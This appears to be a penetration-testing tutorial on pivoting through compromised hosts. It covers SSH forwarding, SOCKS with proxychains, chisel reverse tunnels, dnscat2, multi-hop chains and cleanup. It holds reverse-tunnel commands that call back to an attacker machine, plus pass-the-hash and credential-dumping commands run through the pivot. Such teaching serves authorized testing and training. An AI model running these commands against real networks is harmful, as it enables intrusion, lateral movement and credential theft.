Pivoting is about networks you can’t reach and traffic that can’t flow directly. Before you pick a tool, know exactly what the current connectivity looks like and what you need the connectivity to be.
The Three Operations
| Op | Meaning |
|---|---|
| Port forward | Expose one remote port as a local port (or vice versa). TCP endpoint-to-endpoint. |
| Tunnel | Encapsulate arbitrary traffic through a channel (SSH, HTTP, DNS, ICMP). |
| Pivot | Use a compromised host as a jump point to reach other hosts/networks. |
In practice they’re layered: a tunnel carries port forwards, a pivot consists of one or more tunnels through compromised hosts.
Direction Matters
Attacker Pivot Internal network
10.10.14.5 <--- SSH ---- 10.10.10.5 ----- 10.10.11.0/24
Depending on who initiates the connection:
- Forward (outbound) — attacker initiates. Works when attacker can reach pivot inbound on some port.
- Reverse (inbound to attacker) — pivot initiates back to attacker. Works when pivot can reach attacker outbound. Essential when pivot is behind NAT or inbound firewall.
Almost every pivot tool exists in both flavors (ssh -L vs -R, chisel default vs --reverse, metasploit bind vs reverse handlers).
Local vs Remote vs Dynamic (SSH Terminology)
| Flag | Meaning | Who exposes the port |
|---|---|---|
-L local forward | Attacker port → via pivot → remote target | Attacker |
-R remote forward | Pivot port → back to attacker | Pivot |
-D dynamic SOCKS | Attacker SOCKS5 proxy → any destination via pivot | Attacker |
Examples:
# -L: I can reach pivot via SSH. I want my localhost:8080 to reach 10.10.11.5:80
ssh -L 8080:10.10.11.5:80 user@pivot
# curl localhost:8080 == curl 10.10.11.5:80 (from the pivot's perspective)
# -R: pivot runs a service on localhost:9000. I want to access it from my box.
# Pivot can't accept inbound from me, but can reach me outbound.
ssh -R 9000:localhost:9000 user@attacker
# I run `curl localhost:9000` and hit pivot's local service
# -D: I don't know which ports I'll want. Just route everything through pivot.
ssh -D 1080 user@pivot
# proxychains any-tool → traffic exits via pivotSOCKS: The Universal Pivot Protocol
SOCKS (5) is a per-connection proxy protocol. A client says “I want to connect to X:Y”, the SOCKS server relays. Every pivot tool worth using exposes a SOCKS endpoint because it’s the easiest way to route arbitrary TCP (and sometimes UDP, DNS) through a tunnel.
Clients that natively speak SOCKS:
- Firefox / Chrome (SOCKS5 proxy setting)
- curl
--socks5 127.0.0.1:1080 - git (via
ALL_PROXY=socks5://127.0.0.1:1080) - Impacket tools (via
proxychains) - Most OpenSource scanners (nmap needs
proxychains)
For everything else: proxychains.
# /etc/proxychains.conf (final lines)
[ProxyList]
socks5 127.0.0.1 1080
# Chain multiple hops:
# socks5 127.0.0.1 1080 # first hop (Chisel)
# socks5 10.10.11.5 1080 # second hop (SSH -D on next box)Modes: strict_chain (each in order), random_chain, dynamic_chain (skip dead proxies). Default strict_chain is what you want for pivoting.
Protocols You’ll Pivot Over
| Transport | Speed | Stealth | When to use |
|---|---|---|---|
| SSH | Fastest | Loud (port 22 unusual outbound from workstations) | Pivot has SSH service you can authenticate to |
| HTTP(S) | Fast | Medium (looks like normal web traffic) | Pivot can egress HTTP/HTTPS |
| HTTP CONNECT proxy | Fast | Blends with corporate proxy traffic | Egress only through an HTTP proxy |
| DNS | Very slow (~100 B/s) | Quiet (DNS almost always allowed) | Everything else blocked |
| ICMP | Very slow | Quiet (ICMP egress common) | Everything else blocked |
| RDP virtual channel | Medium | Looks like legit RDP | You pivoted in via RDP already |
Common Scenarios
Scenario 1: SSH to a Linux pivot on a flat internal network
Me (10.10.14.5) --SSH--> pivot (10.10.10.5) --flat-net--> targets (10.10.10.0/24)
Easiest: ssh -D 1080 user@pivot → proxychains.
Scenario 2: Compromised Windows host, no SSH
Me (10.10.14.5) --HTTP outbound--> Windows pivot --> internal subnet
Use Chisel: attacker runs chisel server --reverse, upload chisel.exe to pivot, run chisel.exe client <me>:8000 R:1080:socks.
Scenario 3: Pivot can only reach outbound DNS
Me (DNS auth NS) <--DNS-- heavily firewalled pivot
dnscat2 server on your authoritative NS for a domain you own; dnscat2 client on pivot with that domain.
Scenario 4: Two-hop pivot
Me --SSH--> pivot1 --SSH--> pivot2 --> target
Open two separate tunnels, chain in proxychains. Or ssh -J for jump-host SSH-only chains.
ssh -J user1@pivot1 user2@pivot2
# or persistent:
ssh -J user1@pivot1 -D 1080 user2@pivot2Scenario 5: Traffic to a specific port only
Don’t bother with full SOCKS — just portfwd the port you need.
ssh -L 3389:10.10.11.5:3389 user@pivot
xfreerdp /v:localhost:3389 /u:julioWhat Can and Can’t Go Through a SOCKS Pivot
Works: every TCP connect (nmap -sT, curl, Impacket, impacket-wmiexec, evil-winrm, xfreerdp, smbclient)
Doesn’t work (or needs special handling):
- nmap SYN scan (
-sS) — raw packets, can’t be SOCKS-proxied - ICMP ping (
-PE) — raw ICMP - UDP (SOCKS5 can relay UDP but most clients don’t use it correctly)
- Any tool making raw socket calls
Nmap through SOCKS:
proxychains nmap -sT -Pn -n -p445,3389,5985 10.10.11.0/24
# -sT: TCP connect (uses SOCKS)
# -Pn: no ping (can't send ICMP)
# -n: no DNS (proxychains DNS is slow/buggy; or use proxychains4 with proxy_dns)Chaining a Tunnel to Something Useful
Once the SOCKS endpoint is up, your attack tools go straight through:
# Nmap
proxychains nmap -sT -Pn 10.10.11.0/24 -p445,3389,445,22
# SMB
proxychains smbclient -L //10.10.11.5 -U bob
proxychains netexec smb 10.10.11.0/24 -u bob -p 'Pass!'
# Impacket (every tool)
proxychains impacket-psexec admin@10.10.11.5 -hashes :<NThash>
proxychains impacket-secretsdump admin:'Pass!'@10.10.11.5
# Evil-WinRM
proxychains evil-winrm -i 10.10.11.5 -u admin -H <NThash>
# RDP
proxychains xfreerdp /v:10.10.11.5 /u:admin
# Or portfwd the RDP port and connect directly:
ssh -L 3389:10.10.11.5:3389 user@pivot
xfreerdp /v:localhost:3389 /u:admin
# Browser (SOCKS5-aware)
firefox # with SOCKS5 127.0.0.1:1080 in preferencesCleanup — Don’t Leave Tunnels Up
Every pivot leaves state behind. Before you log out:
- Kill ssh/plink/chisel processes
- Remove
netsh portproxyentries - Delete scheduled tasks you created for persistence
- Remove firewall rules you added
- Close any dnscat2/rpivot sessions
# Linux
pkill chisel; pkill sshrem Windows
netsh interface portproxy reset
taskkill /f /im chisel.exe
schtasks /delete /tn <taskname> /fDebugging a Broken Tunnel
- Can the attacker reach the pivot’s port (ssh/chisel/HTTP)?
nc -zv <pivot> 22 - Is the SOCKS endpoint actually listening?
ss -tnlp | grep 1080 - Is proxychains using the right proxy?
proxychains -v curl -s https://ifconfig.me # Should resolve via pivot, egress via pivot's IP - Can the pivot reach the target?
# From inside pivot: nc -zv 10.10.11.5 445 - DNS resolution?
proxychains nslookup target.internal # If broken: add to /etc/hosts or use proxychains4 with proxy_dns enabled
Most “broken” pivots are actually DNS failures or a missing step 1.
